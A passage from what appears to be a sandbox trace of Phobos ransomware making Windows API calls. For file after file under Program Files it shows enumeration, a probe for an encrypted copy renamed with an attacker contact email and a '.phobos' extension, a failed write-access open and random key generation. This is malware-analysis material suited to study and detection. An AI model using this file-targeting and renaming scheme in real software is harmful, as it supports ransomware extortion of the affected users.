dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.008] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=990032) returned 1 [0125.008] CloseHandle (hObject=0x594) returned 1 [0125.008] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll")) returned 0x20 [0125.008] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.009] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.009] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.009] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.011] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=12448) returned 1 [0125.011] CloseHandle (hObject=0x594) returned 1 [0125.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll")) returned 0x20 [0125.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.012] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.012] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.012] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.012] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=367216) returned 1 [0125.012] CloseHandle (hObject=0x594) returned 1 [0125.012] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll")) returned 0x20 [0125.013] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.013] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.014] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.014] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.015] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=17048) returned 1 [0125.015] CloseHandle (hObject=0x594) returned 1 [0125.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb")) returned 0x20 [0125.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.015] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.015] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.015] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.015] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=22680) returned 1 [0125.016] CloseHandle (hObject=0x594) returned 1 [0125.016] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb")) returned 0x20 [0125.016] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.016] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.016] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.016] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x598 [0125.016] GetFileSizeEx (in: hFile=0x598, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=17920) returned 1 [0125.017] CloseHandle (hObject=0x598) returned 1 [0125.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui")) returned 0x20 [0125.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.017] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.017] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.017] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x598 [0125.017] GetFileSizeEx (in: hFile=0x598, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=2560) returned 1 [0125.018] CloseHandle (hObject=0x598) returned 1 [0125.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll")) returned 0x20 [0125.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msader15.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.018] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.018] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.018] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.018] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=1233920) returned 1 [0125.019] CloseHandle (hObject=0x594) returned 1 [0125.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll")) returned 0x20 [0125.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado15.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.019] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.019] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.019] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590 [0125.028] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=50688) returned 1 [0125.028] CloseHandle (hObject=0x590) returned 1 [0125.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb")) returned 0x20 [0125.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.028] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.028] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.028] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590 [0125.029] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=69632) returned 1 [0125.029] CloseHandle (hObject=0x590) returned 1 [0125.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb")) returned 0x20 [0125.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.031] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.031] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.031] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590 [0125.032] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=70656) returned 1 [0125.032] CloseHandle (hObject=0x590) returned 1 [0125.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb")) returned 0x20 [0125.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.032] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.032] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.032] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590 [0125.033] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=70656) returned 1 [0125.033] CloseHandle (hObject=0x590) returned 1 [0125.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb")) returned 0x20 [0125.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.034] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.034] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.034] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590 [0125.034] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=13824) returned 1 [0125.034] CloseHandle (hObject=0x590) returned 1 [0125.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb")) returned 0x20 [0125.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.035] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.035] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.035] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msador28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590 [0125.036] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=35840) returned 1 [0125.036] CloseHandle (hObject=0x590) returned 1 [0125.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msador28.tlb")) returned 0x20 [0125.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msador28.tlb.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.037] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msador28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.037] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.037] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590 [0125.037] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=404992) returned 1 [0125.037] CloseHandle (hObject=0x590) returned 1 [0125.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll")) returned 0x20 [0125.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.037] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.037] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.037] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590 [0125.038] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=24576) returned 1 [0125.038] CloseHandle (hObject=0x590) returned 1 [0125.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb")) returned 0x20 [0125.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.038] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.038] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.038] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\DirectDB.dll" (normalized: "c:\\program files\\common files\\system\\directdb.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0125.047] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=32768) returned 1 [0125.047] CloseHandle (hObject=0x580) returned 1 [0125.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\DirectDB.dll" (normalized: "c:\\program files\\common files\\system\\directdb.dll")) returned 0x20 [0125.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\DirectDB.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\directdb.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.047] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\DirectDB.dll" (normalized: "c:\\program files\\common files\\system\\directdb.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.047] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.047] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0125.048] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=10240) returned 1 [0125.049] CloseHandle (hObject=0x580) returned 1 [0125.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui")) returned 0x20 [0125.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.049] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.050] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.050] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common 